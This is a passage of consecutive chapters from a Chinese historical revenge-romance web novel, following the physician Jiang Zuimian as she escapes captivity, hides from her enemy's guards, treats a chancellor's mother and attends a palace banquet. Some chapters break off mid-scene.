说完,一个小丫鬟便赶忙跑了。 姜醉眠听见了门外动静,强撑着从地上起身,走到了门边来。 “可否带我去方便一下,我实在,腹痛难忍……”她语气虚浮,瞧着快要承受不住了似的,额前满是冷汗。 小丫鬟虽是于心不忍,可也只能说道:“姑娘,您再忍耐一下,主子要是知道了,定会请郎中来给您医治的。” 姜醉眠循循善诱道:“我自己的身子我自己清楚,想来是要来葵水了,我只需去方便一下就好,不必那么兴师动众。” “可是……” 小丫鬟还想再说什么,被姜醉眠打断。 “你们主子日理万机,哪里能事事躬亲,若为这么点小事劳烦他,他才会怪罪于你。况且你要是不放心,大可随我一同前去。” 小丫鬟觉得有理,要是打扰了主子的正事,恐怕她几条命也不够赔的。 “好吧,”小丫鬟打开房门,“姑娘,请随我来。” 姜醉眠心中一喜,却仍装作虚弱模样,说道:“有劳。” 两人一前一后穿过廊厅,姜醉眠一边跟着走,一边四处打量这府苑格局。 走到廊厅尽处,小丫鬟停住脚步,指着那处幽静东圊说道:“姑娘,还请快些。” 姜醉眠连连点头,等她进去后,那小丫鬟便寸步不离站在门边守着了。 姜醉眠简单察看了下周围,居然还真的被她找到了漏洞处。 这东圊地处府苑东角,旁边便是府中隔开各院的围墙,且墙上满是玉璧浮雕,很便攀爬。 “哎哟,好疼啊,哎哟……” 姜醉眠装作做样唤几声,外面小丫鬟便又催促道:“姑娘,快好了吗?” “快了快了,再等一下。” 姜醉眠一边说着,一边手脚并用,悄悄从玉璧爬了上去。 坐在墙头她才看得清楚,这府苑当真大得很,隔壁院落看起来与这处别无二致。 她一个翻身,便越过了高墙。 刚从墙上爬下来,便忽然听见有细微说话声从院落门口传来,竟然方才跑去通禀的那个小丫鬟,只是她在院门外便被拦了下来,看守的侍卫说是主子正在议事,不许她进去打扰。 姜醉眠一听,便偷偷溜到了厢房近处,猫着身子藏在了窗台下,努力侧着耳朵偷听。 “主子,打听清楚了,昨夜醉红馆鸨母确实找了个女郎中前去,只是下面人弄错了,误当成了新进的青楼女。” 一道沉冷嗓音接着响起:“南陲村的事情查得如何了?” 蔺风答道:“三月前派去的几人仍没有下落,他们按您的吩咐把尸体处理了之后,也跟着再没了行踪,怕是跟您当初一样,也遭了暗算。” “继续查,活要见人,死要见尸。” “是。”蔺风答道。 可他话音刚落,路予行眼神忽得一变,满是肃杀的眼神望向了窗台边。 窗扉紧琐,并无异处。 蔺风迅速过去打开窗子,四处察看一番,禀报道:“主子,无人。” 路予行不言,只是眸色深沉晦暗。 最好是他感觉出了错。 姜醉眠死死捂住嘴巴,生怕自己发出一丝一毫声音,会惊扰到这府苑中看守的侍卫。 她又像方才那样攀着玉璧浮雕,蹑手蹑脚翻过几道院墙,终于从这牢笼般的府苑逃了出来。 这里是一处隐蔽偏角,并无人注意,姜醉眠辨不清方向,撒腿就顺着青石板街往前跑。 这一路上尽是幽静府苑,府外高墙森严奢华,透着股不近人情的威压,街上更是一个行人都无,让人不寒而栗。 不知跑了多久,白皙额间真的溢出些薄汗来,姜醉眠才终于听到了喧闹的市井声。 她连忙跑上人潮熙攘的大街,又拐了好几个弯之后,这才停住脚步,靠在街边喘息片刻。 京城繁华庞大,这附近她瞧着陌生,还从未来过。 尚未将一口气喘匀,便忽然听见前街处传来喧闹声。 有人在高声喊—— “净街!闲杂人等速速退让!” 一边喊着,一边有一小队侍卫骑着高头大马疾驰而来,将原本熙攘的人群疏散开来。 街上众人皆大惊失色,慌不择路地退后避让。姜醉眠也被周围的人群挤着连连退后,她连发生了何事都不知道,就已经被挤到了小巷的墙壁上,再也退后不得。 她好奇不已地翘脚往街上望去,正巧看见有个来不及避让的人,不知是痴的,还是呆的,竟然还一个人直愣愣站在街道正中央,对飞驰而来的侍卫兵们置若罔闻。 那群铁骑侍卫也仿若看不见他一般,竟然骑着粗野黑马就朝着那人身上奔来。 那人饶是再痴呆,也被浩浩荡荡的马蹄声被吓得脸庞毫无血色,只是此刻再想移动脚步挪开,却已然来不及了。 只见壮硕黑马径直从那人身上碾压而过,答答马蹄踏碎筋骨,像是剁碎的肉酱一般黏在了青石板上,血迹登时溅射当场。 如此血腥的一面当街发生,四周跪满的人群却无一人惊呼出声,众人皆沉默如山,一动不动。 姜醉眠虽被众人围挡着,却眼睁睁看到了那人的脑袋是如何被粗壮马蹄一下踩碎的。 她眼眸震惊不已地瞪圆,紧紧盯着街上血肉 12. 质问 《报错仇后被疯批独占了》全本免费阅读 姜醉眠回到家后,没看见青彤,顿时紧张不已。 她正准备出门去寻,却瞧见青彤红着两个眼眶进了家门。 “姐姐!” 见姜醉眠平安无事出现在眼前,一双水汪汪的大眼睛又滚出眼泪来。 “姐姐,你终于回来了,昨夜你彻夜未归,我还以为你出事了呜呜……”青彤跑过来抱住她,在她怀中大哭道,“我,我去醉红馆寻你,可小厮说什么都不让我进去,我在外面等了你整宿,也没看见你出来,我还以为,还以为你……” 姜醉眠被她蹭得肩上都是眼泪,揉着她脑袋苦笑道:“你是以为我被那鸨母骗进青楼,再也出不来了?” 青彤咬着嘴唇,委屈的点点头。 姜醉眠用锦衣袖口给她擦干眼泪,宽慰她说道:“那鸨母找我前去真的只是瞧病而已,没有其他,看把你吓得。” 青彤瘪了瘪嘴:“可姐姐你昨夜到底去哪了?” “我,我给姑娘们瞧病,耽搁得久了些,鸨母给我找了间雅房让我留宿了。” 姜醉眠有些心虚,不敢看她乌溜溜的黑眼睛。 青彤这会儿已经不再哭了,上下打量了她两圈,却狐疑问道:“那这衣裳也是醉红馆鸨母给的吗?这布料好漂亮呀,摸着也舒服。” 姜醉眠扯着唇角笑道:“是啊,鸨母人善。” 她并没有打算把自己昨夜遇见了路予行的事情告诉她,也不打算说她还进了路予行的府苑,听到了他和手下的对话。 他们口中那些失踪了的人,应该就是杀害了叔父叔母的杀手们吧。 而他们,全都是受了路予行的指使。 现下看来她若想要报仇,必得要从长计议了。 身上穿着这水绿罗裙很是不便,姜醉眠回屋换回自己那身简单的粗麻衣物。 从屋里出来,见青彤正在打理院中小菜园子,姜醉眠便语气轻松道:“我去趟医馆,你就在家里好好呆着,可千万别出去乱跑了。” 青彤听了却直接扔下锄具跑过来,拉住她衣袖:“姐姐,我跟你一起去。” 她虽然经事不多,可也看得出来姜醉眠定是出了什么事情,只是不想让自己担心,所以才不肯告诉自己。 她也没别的法子帮助姐姐,只能呆在她身边陪她而已。 姜醉眠不愿她牵扯进来,便道:“乖彤儿,我当真是去医馆的,你就在家里看家,我一会就回来了。” 可青彤说什么也要陪她一起去,生怕她再想昨夜似的一去不回。 姜醉眠最终拗不过她,便带着她一起出了门,将有些破旧的大门关上落了锁。 两人一同走在街上,路过去医馆的路时,青彤便知姜醉眠是在骗自己了。 她也不恼,只是紧紧挽住姜醉眠手臂,不让她离开自己的视线分毫。 姜醉眠对她这么黏自己也能理解,她定是怕自己会想不开随叔父叔母去了。 可她现在脑中一门心思想着如何复仇,断不会寻死的。 走到醉红馆门前,姜醉眠止住脚步。 白日的青楼总是避不接客的,她们只能绕到了偏门去。 “姐姐,你昨夜不是在此留宿的吗,怎得今日又要来此?”青彤问道。 姜醉眠干笑了两声,眼波转了转,说道:“我昨夜……有事忘了交代了,这里的姑娘身子应当好好调理,所以我特意再来嘱咐一番。” 说罢,她便抬手敲门。 没一会儿,便有小厮打着哈欠过来开了门,瞧见门外两人后,小厮显然惊讶不已。 “您是,昨夜那位女郎中?” 姜醉眠颔首:“正是,我找你们姑姑有要事,可否引见?” 小厮还记得姑姑的警告,对姜醉眠的态度也恭敬不已,连忙点头哈腰地将二人请进了楼内。 里面空无一人,静谧异常,全然看不出入夜之后的繁荣喧闹景象。 青彤紧跟着姜醉眠,好奇地四处打量。 小厮将二人引至二楼雅间,又毕恭毕敬道:“二位稍等片刻,我即刻去向姑姑禀告。” 说完小厮便出了门去。 青彤坐在铺着锦缎的软凳上,满是赞叹地说道:“京城中人都如此富贵吗?这么好的布料都用来铺桌椅了,多可惜呀,要是做成衣裳想必会很舒服的。” 姜醉眠道:“以后姐姐会给你买比这还要好上百倍的布料做衣裳。” 青彤眼睛都亮了:“真的吗?” “姐姐什么时候骗过你?”姜醉眠道。 青彤哑然:“你不是才骗我要去医馆的吗……” 姜醉眠嘴角一抽,笑着敲了下她脑袋:“姐姐以后不会再骗你就是了。” 两人正说着,鸨母就从外面推门进来了。 原本被人扰了清梦还满脸不耐烦的妇人一看见屋内坐着的姜醉眠,连忙瞪大了眼睛,变脸似的换上副谄媚笑容。 “哎呦,我当时哪里来的郎中呢,这不是姜姑娘吗?今日怎得又来我醉红馆了?” 方才她还没清醒过来,只听小厮说来了位郎中,倒是没往姜醉眠身上想。 毕竟昨夜她是亲眼看见那位路公子把姜醉眠抱上了马车的,还以为她自此就会成为路公子榻上玩物,不会再出现了呢。 谁知她竟然又好端端坐在这里了。 鸨母上前替姜醉眠倒了杯茶,问道:“姜姑娘昨夜,休息得可好啊?” 姜醉眠对鸨母的献媚并不理会,只是语气平静说道:“姑姑客气了,我自是一切都好。今日前来我也并不是找姑姑你,而是想找那位仙梦姑娘。” 仙梦是路公子常年包下来的人,就算路公子不来,寻常客人她也是不用接待的。 姜醉眠指名道姓要找仙梦,鸨母脑中便上演了一出争风吃醋的戏码。 左右掂量,这姜姑娘好像更不好惹些,鸨母便笑道:“既是如此,那我便传人去叫。” 小厮去唤仙梦的空档,姜醉眠又想到了什么似的,问道:“对了,昨夜我见馆内好像新来了个花魁姑娘,叫流樱?” 鸨母道:“没错,流樱姑娘可是我花了大价钱栽培出来的,那是才貌双全非比寻常啊,昨夜就是流樱初次登场,这不京中公子哥都为了见她一面豪掷千金呐。” 姜醉眠追问道:“那流樱姑娘现在何处?能否让我见上一面?” 鸨母无奈道:“哎哟我的姜姑娘,您方才说了要见仙梦,我已经传人去唤了,您这怎么又忽然要见流樱了?您这到底是想干什么,要不您就直说了吧,我看看能否帮上一二?” 姜醉眠抿了抿唇:“我别无它意,只是想见流樱一面而已,或者能让我远远看上一眼也可。” 她只是想知道,她的阿樱到底是不是还活在这世上。 鸨母却面露难色:“姜姑娘,不是我不让您见,实在是,实在是这流樱现在不在馆内啊。” “她去哪了?” “昨夜有贵人看中了流樱,她已经被赎了身,”鸨母心疼的说道,“从良了啊。” 废了好大的功夫才栽培出这么一个花魁来,谁知竟然被大东家要去了,少了棵摇钱树,鸨母也是有苦说不出。 13. 摆脱 《报错仇后被疯批独占了》全本免费阅读 姜醉眠瞪圆双眸,等到那些人走远之后,她才松开青彤的口鼻,两人左右看了看,确认没人注意,蹑手蹑脚地从一旁小巷中出来。 青彤揉了揉被捏疼的脸蛋,不解问道:“姐姐,方才那些是什么人啊?怎得会从永巷出来?” 永巷中住的多是些外来户,在京没有亲戚帮衬,只得住在这不需结契的破旧贫民街。 姜醉眠一把拽住她欲朝永巷中走去的脚步,朝那幽深巷口中看了眼。 巷子曲曲折折,尽头处才是她们的家。 现下巷中看起来已经没人了,但是姜醉眠仍旧一步也不敢再往巷口去,她飞速拉着青彤,低头朝着相反方向快步走。 “姐姐……”青彤见形势不对,压低了声音问道,“我们不回家吗?” 眼见着两人离得那巷口越来越远,姜醉眠这才松了口气,说道:“方才那些人是姓路的手下。” 青彤眼睛瞬间睁得圆溜溜的,嘴巴也震惊地张大。 “什,什么?!姐姐你已经找到仇人了?” “嗯,”姜醉眠继续道,“所以我们近日不能回家了,先在外面避避再说。” 她实在没想到路予行会这么快就寻到她的住处,看来她也该尽快另作打算才是。 两人出来的匆忙,身上并没带什么银两,姜醉眠便带着青彤去了医馆。 她左右不能在医馆继续呆下去了,恐怕会连累了无辜的掌柜,便打算去将自己这些时日的工钱要了。 医馆掌柜年近花甲,慈眉善目的模样,跟她远在南陲村的师父有几分相像,因此姜醉眠见到老人家也觉得十分亲切。 “掌柜的,我家中出了点事,我是来跟您请辞的,”姜醉眠情真意切,“这段时日多亏了您的照拂,不然我们姐妹二人恐怕无可安身了。” 掌柜知晓人人皆有难处,并没有为难二人。 “这是你的工钱,来,姑娘,收好了。” 姜醉眠接过一看,沉甸甸的一小块碎银。 她连忙推拒:“掌柜的,您给多了。” 掌柜却道:“收着吧,谁家里没有个难处,希望这银子能给你们两个小姑娘帮上些忙。” 姜醉眠实在感激,拉着青彤一齐给掌柜俯身行了大礼。 “多谢。” 青彤也乖乖跟着说道:“多谢。” “快些起来,也没多少银钱,算不得什么。” “可对于我们来说,已是救命钱了。” 姜醉眠只怪自己没把那两张五千两银票缝在贴身衣物上,现下想回家去取也是不能了,怕是家中已被布下天罗地网,只待她自投罗网。 只能往后再说了。 两人跟掌柜再三道谢,准备从医馆出来之时,却忽然看见街头又出现了那一小队熟悉的侍卫。 姜醉眠定睛一看,蔺风正提着刀,面无表情地朝着这处医馆快速行进。 她顿时大惊失色,连忙拉着青彤又退回了医馆内。 掌柜见状,问道:“可是银子还不够?” 已经来不及逃出去了,姜醉眠情急之下,“扑通”一声竟然直接跪在了掌柜面前。 青彤虽然不知为何,可也跟着跪下了。 掌柜也震惊不已,忙过来问道:“这到底是怎么了?快快起来说话。” 姜醉眠眼神焦灼,却强行命令自己必须冷静下来,她一字一句说道:“掌柜的,还有一事相求。” * 蔺风带人冲进了医馆的时候,账台后面那花白头发的掌柜被吓了一跳。 治病救人的医馆,何事见识过这么多带着满身煞气的杀神? 掌柜连忙过来问道:“几位可是要看诊?” 蔺风扫视四周一圈,这医馆并不甚大,堂内药香扑鼻,只有两张问诊桌,一张简单的竹床罢了。 “你医馆内负责煎药的那个女徒呢?” 掌柜面色如常,回答道:“她今日就没来过,许是家中有事耽搁了吧。” 蔺风盯着那双布满皱纹风霜的眼睛,没从里面看出什么慌乱和撒谎之意。 可人既然没在家里,说不定就是藏在这医馆中! 眼见为实,他仍对身后人说道:“搜。” 掌柜像是没想到他们竟然真的会如此莽撞,在他的医馆中上上下下的翻找搜查起来。 “各位大人,”掌柜也看出这些人非等闲之辈,自己招惹不起,只能连连劝道,“那女徒今日真的没来啊,你们就算是把老朽这小医馆翻个底朝天,也找不到想要的人啊!” 蔺风对他的阻拦不为所动,任凭手下人很快将小小医馆搜查得凌乱不堪。 “大人,没有。” “大人,这边也没有。” 蔺风脸色渐差,却忽地听见有个侍卫禀报道:“大人,这里面竟然有个暗房!” 掌柜一听,脸色骤然一变:“几位大人万万不可入内啊!” 蔺风怎会听他的,越是如此阻拦,越是说明其中必有古怪! 他走到那处暗房前,房门与墙壁紧密镶嵌在一起,若不是仔细观察,当真看不出异样来。 “那里面真的没有你们要找的人!几位大人还望不要进去!” 蔺风耐心已无,低喝一声:“开门!” 两个侍卫立即上前推门,只是轻轻一按,暗房之门果然绕着墙壁缓缓打开来。 一股浓郁至极的药味瞬间扑鼻而来,熏得人眼眶直泛酸,而暗房内雾气缭绕,正中间放着一个很大的木桶,里面满是黑浓的浴药。 一个瘦小的身影端坐在桶中,背对门口,衣物整齐,青丝散尽,看不见样貌。 蔺风心中一喜,果然被他找到了!刚才还险些被这个老头给骗过去了! 他捂住口鼻快步走进暗房中,绕到正面来想将桶中的人直接带走。 可是谁知看清楚坐在里面的人之后,他却瞬间傻了眼。 那是一张可爱秀气的娃娃脸蛋,双目紧紧合着,面色似乎很是痛苦,瞧着不过十四五岁的模样。 并不是他们要找的姜醉眠。 掌柜这时候也走进了暗房中,看了眼木桶中的人后,叹息一声,说道:“哎,大人看看,这可是你们要找的人呐?” 蔺风脸色难看的要命,快步走出了暗房。 掌柜悄悄拍了下桶中人的肩膀,这才跟着走了出去,关上了暗房的门。 “老朽早就说过了,那里面没有大人要找的人,可大人不信,偏要进去看,里面那个是老朽的一个病患,小小年纪便得了瘫症,家里把她送来在这医治,她需得日日浸泡在那药浴之中,才能缓解一二啊。” 蔺风对他的病患丝毫不感兴趣,见这里实在没有要找的人,便掏出锭雪花白银来,冷脸抛在了 14. 碰见 《报错仇后被疯批独占了》全本免费阅读 姜醉眠和青彤随着那个小厮一路来到了丞相府。 路上听小厮描述了些老太太的病症,姜醉眠心下已经有了判断。 丞相府虽说也气派华丽,可是比起路予行那座府苑,终究是逊色了些。 穿过曲折回廊,来到了相府最为僻静的一处院落,外面已经有好几个人在候着了,一见着姜醉眠,便立马将她请进了屋内。 屋子里地炉旺盛,熏香袅袅,浮雕木制屏风后面便是老太太休憩的软榻。 现下老太太正面容痛苦,疼出了满身冷汗。 一旁好几个丫鬟跟着伺候,一个揉捏太阳穴,一个按压虎口穴位,还有个拿着瓶能缓解疼痛的熏香放在老太太鼻下闻着,可惜都没什么作用。 “都快些让开,让这位女医瞧瞧。” 管家一吆喝,几个小丫鬟便赶紧退下了。 姜醉眠先不急着诊脉,而是对几个下人吩咐道:“你去把熏香灭了,你去把窗子打开,还有你,去寻一套针灸的银针来。” 几人虽然觉得好奇,但是也不敢不听,都按照吩咐去一一照做了。 窗户一开,外面萧瑟冷风瞬间钻了进来,软榻偏偏正好对着窗子,凛冽冷气驱散了温暖得有些燥热的炉气,倒使得屋内清明了许多。 紧接着姜醉眠又来到软榻旁,对身旁的青彤道:“帮我将老夫人扶起来。” 青彤便乖乖将老太太扶着靠在了自己身上。 姜醉眠将那套银针翻出来,取出两根,寻着老太太太阳穴上三分,找准位置,缓缓将银针推了进去。 周边围着的管家和小丫鬟们都吓得提起来一口气,他们倒是从没有见过能在人头上施针的医术,这未免太过危险了。 紧接着姜醉眠轻轻捏着银针,在穴位上转了几下,老太太一直紧琐的双眉竟然真的舒缓了些许,没一会儿,甚至直接睁开了眼睛。 姜醉眠立即将银针抽了出来,说道:“好了,去将窗户关上吧。” 几个小丫鬟连连称是,姜醉眠又开了副方子,吩咐每日按时给老太太吃上,过几日后再看效果。 随后姜醉眠便收拾了银针,随着管家从屋内出来了。 出门时恰好撞上个身影,没等姜醉眠反应过来,便听见道欣喜异常的声音响起:“怎么会是你?” 厉云川身上还穿着朝服,才随父亲从朝中回来,衣物都没来得及换下,便一心记挂着祖母的病情。 看到小厮请来的女医竟然会是姜醉眠,厉云川无论如何都没想到。 姜醉眠倒是并不惊讶,朝他微一行礼:“厉公子。” 厉云川连忙伸手将她扶起,问道:“我派人去请的是医馆新来的女医,怎得会是姑娘前来?” 姜醉眠笑道:“厉公子是觉得我不像会医术之人?” 厉云川忙道:“我并不是那个意思,只是先前遇见姑娘是在醉红馆,难免心中疑惑。” 姜醉眠并不打算解释许多,只道:“公子想必是要去看老夫人的吧,老夫人的病情并无大碍,现下已经醒了,只需要静养几日即可。” 厉云川见姜醉眠欲随着管家离开,想也没想便伸出胳膊将她拦了下来。 “姑娘若是没有要事,可否,可否在府上小住几日?”厉云川嘴上说着,眼神却并不敢落在那双清水流波般的桃花眼底。 “姑娘别误会,只是我记挂祖母病情,希望姑娘多留几日加以照拂,免得祖母再受头痛之苦。” 这倒是正合了姜醉眠的意,她正愁没有地方躲避路予行的搜查,若能住在这丞相府,岂不是安全得很? 姜醉眠故作犹豫:“这……” 厉云川生怕她会拒绝,吩咐管家道:“给两位姑娘安排好住处,若是有伺候不周得地方,还望姑娘海涵。” 管家看看自家少爷,再看看这位生得花容月貌的女医,像是懂得了什么,直接伸手示意道:“姑娘,请随我来。” 姜醉眠借机应允:“既然如此,那我也不便推辞。” 说罢,她便拉着青彤随管家一道去了。 身后的厉云川却又忽然叫住了她:“对了,还不知道姑娘的芳名,以后如何称呼?” “姜醉眠。” 厉云川冲她颇有礼节地行了拱手礼:“多谢姜姑娘。” 姜醉眠便和青彤在丞相府住了下来,说是招待不周,但两人起居都有四个丫鬟伺候,简直快成了这府上的贵客。 姜醉眠倒是日日都去给老太太诊脉,好在老太太头疾果然没有再发作,但姜醉眠还是又给老太太用了几次针灸,巩固疗效。 老太太见着她也觉喜人,有时还会拉着她说上会话。 “姜姑娘来京城多久了,可有许配人家?” 姜醉眠将银针一一用药酒擦拭过后,再小心收回布套中,笑着回答:“已两月有余,并未婚配。” 老太太一听,脸上的皱纹都开心得眯了起来:“甚好,甚好啊,姜姑娘可有见过我那孙儿,觉得如何呀?” 姜醉眠听懂了老太太的意思,可她自知与丞相府天壤之别,岂敢高攀。 “厉公子才华横溢,芝兰玉树,自然是极好的,”她说道,“听说京城中好多名门贵女都属意于厉公子呢。” 老太太“嗯”了声,然后满怀期待的看着她:“那你呢?你可属意于他?” 姜醉眠察觉到门外有道脚步声停了,却也并没有敲门进来,仿佛也在等待着她的回答。 她便故意声音大了些,也好叫人知道她并无他意。 “老夫人就别拿我寻开心了,我哪里配得上厉公子呢,想来相府早已为公子寻好了良配,我也只等着为厉公子道喜呢。” 话音一落,老太太显然有些失望,说道:“他父亲虽为丞相,猜得中皇上心思,却猜不中自己儿子的心思,我还没有老到那个地步,能分得清是非对错,云川他对你分明就是……” 屋门被人适时推开,厉云川从外面进来,与其故作轻松道:“姜姑娘原来也在这,看来祖母确实与你投机,每日都要拉着你说上半晌吧。” 老太太不满起来:“你这孩子,我哪里有你说的那么絮叨。” 厉云川走到软榻旁,对姜醉眠道:“对了,我方才来时看见青彤那小丫头似乎在找你,像是有事。” 姜醉眠也察觉到自己留的有些久了,便跟老太太告了别,出了屋门。 冷风萧瑟,她裹紧了领口,低头穿过绵延的长廊,快步朝着住处走去。 只是她并没有注意到,在她身后不远处的拐角站着个人,模样粗犷豪迈,是那日同在醉红馆的赵朗,赵筠老将军的次子。 赵朗揉了揉眼睛,确信自己没有看错,就是那个青楼里见过的美人儿,虽然他记性不好,可对美人儿却是过目不忘的。 随后赵朗不知想到了什么,玩味地邪笑起来。 没想到这个厉兄表面看起来风光霁月,不近美色,原来是早就将美人儿藏在了家中啊。 * 青彤其实也没什么要紧事,不过是想问姜醉眠她们还要在这相府中住多久。 虽然这府上的日子是好,可青彤总觉得心里不踏实,更何况她还一直惦记着永巷那院子里的几分菜地。 起初她们只是想在相府住上三四日便罢,谁知日子一晃都过去了近十日,老太太的病情早已缓和。 姜醉眠也一直想找机会出去再探听探听消息,光呆在丞相府是很安全,可她何时才能有机会报仇呢? 她正准备找厉云川说清楚,厉云川便主动前来找她了。 “厉公子,我正想与你商议,”姜醉眠道,“如今老夫人头疾已不再发作, 15. 宫宴 《报错仇后被疯批独占了》全本免费阅读 很快到了宫宴当日,厉云川对于姜醉眠的请求断然不会拒绝。 姜醉眠扮成了普通侍女的模样,跟着厉云川进了宫。 今日皇上是为西北军凯旋设宴,皇亲国戚文武大臣均可携带家眷参宴,宫宴设在百花轻殿,既随意亲近,又不失华贵。 轻殿外便是百花丛生的御花园,虽天气严寒,可御花园四周围绕着袅袅蒸汽,那是能工巧匠们专门在此地引来的温泉水,可以使得寒冬腊月,御花园中依旧花香四溢,娇艳欲滴。 甚至远远坐在辉煌大殿中,也能闻到隐隐花香传来。 厉云川虽然官位不高,却可以随父亲厉郙坐在金殿之下,居于百官之首。 宴席还未开始,厉郙身边便围满了官员,迎来送往好不热闹。 厉云川站在父亲身后,也不免与众人颔首行礼,寒暄一番。 姜醉眠穿着侍女服饰,头上梳着两道弯弯的发髻,安安静静地垂首立在旁边,瞧着乖巧极了。 她自然是懂得分寸的,这里不是别的地方,而是皇宫大殿上,她虽说拜托了厉云川带她进来,可也不能给厉云川惹麻烦才是。 许是她太过安分,厉云川寻了机会从喧嚷人群中脱离出来,端着杯水借机走到她身侧。 “累了吗?” 姜醉眠微微抬头,见他捧着杯水递给自己,眼神中满是关怀。 可现下四周都是人,更别提坐在他们身侧的,是都察院那群监察百官上言参奏的御史们,若是在他们眼皮子底下有半分差池,那便是无事找参。 此刻那群老头子一直在盯着厉丞相,像是瞅准了时机便要参他一本。 姜醉眠连忙又把头低下了,小声提醒道:“厉公子,我是您的侍女,您应当注意分寸。” 厉云川无奈,仰头将杯中的水自己喝了。 “要是累了就告诉我,我带你出去逛逛,御花园的花开得正艳,外面可看不见这样的景色。” “多谢厉公子好意,”姜醉眠婉拒道,“只是眼下我们还在宫宴上。” 厉云川道:“无妨,这里这么多人,更何况今日的主角不是我……” 话音刚落,便听见宫殿门口有位小太监尖声细语地通禀道:“赵将军进殿!” 此言一出,原本喧闹的大殿瞬间便安静了下来,只见几个太监恭敬地上前大开殿门,这是只有皇上和几位尊贵王室才有的礼遇。 百官皆谦卑垂目,位列大殿两侧,毕恭毕敬地迎接即将入殿的人。 接着,身穿朝服的赵筠便昂首阔步,大摇大摆地进了殿内。沙场征战多年,他身上那股子桀骜不驯的戾气尤为明显,尤其是此次又是立了军功回朝,连皇上都亲自设宴替他接风洗尘,这样尊贵的殊荣,开国以来都没有几位拥有过。 而紧跟在赵筠身后的两人,跟赵筠长相气质都颇为相似的是赵朗,另一位瞧着异常沉稳,面容俊秀的不像沙场出来的高大身影,便是赵筠的长子——赵棠。 今日来宴的还有些群臣家眷,其中不乏年龄适配,模样姣好的女眷。看见身材高大威猛,长相却俊秀斯文的赵棠后,皆忍不住春心萌动,羞红着脸窃窃私语起来。 若是谁能嫁给年轻有为的赵棠副将军,那真是顶顶好的福气了。 从赵家父子三人踏入大殿开始,姜醉眠的眼神就一直落在赵棠身上,再也无法移动分毫。 旁人看了,只以为这小侍女居然也敢肖像赵副将。可姜醉眠知道,一别十年,她的棠哥哥已经认不出她了。 那时候他们还小,她总缠着棠哥哥,要他当自己的战马背着自己去战场杀敌。 赵棠却摸着她的脑袋,温柔的看着她笑。 他还说什么了? 对了,他还说,小姑娘是不能上战场的,但是等她长大了之后,他可以娶她,然后再带她去战场。 可是他跟父亲一样,全都食言了。 姜醉眠胸口沉闷得厉害,像是坠了块千金重的石头,压得她直喘不过气来。 他们现在的差距太过悬殊。 他是立了赫赫战功的将军,来日可期。 而她是站在阴暗角落里的婢女,窥不得光。 年少时的那份悸动,也早就该随着蹉跎的十年光阴消散了去。 赵家父子入了席位之后,殿上的其他官员这才敢随意走动。方才没跟厉郙寒暄的几个朝中命官,现下全都站到了赵筠面前,端着酒杯满脸谄媚。 厉云川见姜醉眠眼眶不知何时红了,且视线一直牢牢锁在对面的席位上,他便忽然明白了什么。 “你要来宫宴,可是为了赵副将?” 姜醉眠恍然从回忆中抽离,眼眶中含着泪意望向厉云川,那种布满委屈不甘,却又害怕退缩的眼神,看了直叫人心疼的肝颤。 “你还好吗?”厉云川问道。 姜醉眠慌忙用袖口擦了擦眼角,故作镇定的说道:“没事。” “你们之前是不是认识?”厉云川道。 姜醉眠没回答,可方才她的眼泪已经说明了一切。 厉云川又道:“既是旧识,为何不上前去相认?” “不需要了,”姜醉眠道,“我和他,已不是同路人。” 既然心中全都明了,又有什么好值得落泪的呢,她现在分明还有更加重要的事情要做,还有必须要报的仇未报,哪里还有时间为了个已经忘记了她的人伤心烦恼。 说话间,殿内百官均已到齐,几个皇子公主也都在金殿旁侧落了座。 只是听说皇家有四位皇子,三位公主,姜醉眠确信自己眼睛没花,怎得瞧着那座上如今只有三位皇子三位公主。 还有一位皇子去哪里了? 在几位皇子公主最前方,也是合殿之内离得龙椅最近的位置上,坐着大宴朝的太子,也是皇上的嫡长子。 姜醉眠没忍住多看了两眼,这位就是那日在长街上,纵容侍卫当众骑马踩死了一个无辜百姓的太子。 那天尊贵无比的太子爷端坐在马车内,她也没能看得清楚他的长相。 只是现在看起来,怎么越看越觉得有些熟悉。 特别是眉宇之间,怎得,怎得和她那仇人如此相像?! 姜醉眠心中骤然一紧,可她也不敢上前再仔细察看,只是心跳“扑通扑通”快得不行,像是急切地想要从薄薄胸口处腾跳出来。 她连忙扭头去问身旁的厉云川:“路予行到底是……” 只是她没能将剩余的话问得出口,一个面皮白细的太监从金殿后走了出来,站在殿上扬声道:“皇上驾到!” 朝中众臣顿时噤声,全都乖乖回到了自己的席位上,随后齐刷刷朝着大殿上方叩首跪拜。 “恭迎皇上,皇上万岁万岁万万岁!” 随后只听一道沉缓嗓音开口道:“众位爱卿平身吧。” 姜醉眠随众人起身,却也不敢光明正大望向金殿龙椅上坐着的皇上。 皇上先是对赵家父子关怀慰问了一番,赵筠老将军虽然在百官面前颇为高傲无礼,可面对皇上,还是要卑躬屈膝恭恭敬敬。 “赵老将军如今年事已高,两个儿子也是年轻有为啊,为大宴立下如此汗马功劳,朕必有重赏!” 赵棠和赵朗也单膝跪地,行礼道:“谢皇上隆恩。” 皇上目光在赵棠身上停留片刻,忽而问道:“赵棠既已升至副将,在功绩上已然颇有建树,可朕听闻如今尚未婚配?” 赵棠不卑不亢,低声道:“回皇上,臣一心只想守护我大宴领土,击退辽军为皇上分忧,并无他念。” “话不能这样说,难不成我军将士都要为了守卫疆土不婚不育了?”皇上说道:“朕瞧今日殿上 16. 假山 《报错仇后被疯批独占了》全本免费阅读 御花园内果真花开遍地,纵使外面寒风凛冽,一踏入温泉池水笼罩的地段,便觉袅袅雾气温暖舒适,鼻间满是弥漫花香,当真妙境。 可此时的姜醉眠却无心欣赏眼前美景。 今日百花轻殿内设宴,附近宫殿的宫女太监们都被召去了殿内伺候着,这会儿外面倒是清净得很。 她方才跑出大殿的时候没看清楚,险些掉进一个藏匿在花丛中的温泉池里。 瞧见四处无人,她便坐在了温泉池边,脑袋埋进了臂弯里,整个人都被一种铺天盖地的无力感深深笼罩住。 从看见赵棠的那一眼开始,到皇上当众为他赐了婚,再到忽然得知陆昭珩原来是当朝皇子。 这一切都在今夜发生,而她在来此宫宴之前,心里并没有做好一丝准备。 她诚然来此是抱了不该有的幻想,憧憬着或许棠哥哥还记得自己,或许时隔十年他们还可以相认。 可如今看来,赵棠早已将她忘得干净,甚至不久之后,他便要遵从圣旨与户部尚书千金成婚了。 那个幼时单纯美好的梦境,原来早就随着十年前的那场大火被烧成灰烬了。 若只是如此,姜醉眠并不至伤心至此。 更重要的是她今晚总算知道了陆昭珩的真实身份,先前他竟然埋藏的这样深。 面对这样一个身份地位都如此显赫的仇人,姜醉眠更觉手足无措。 她要如何才能为叔父叔母报仇?是不是,永远也不会有那一天了…… 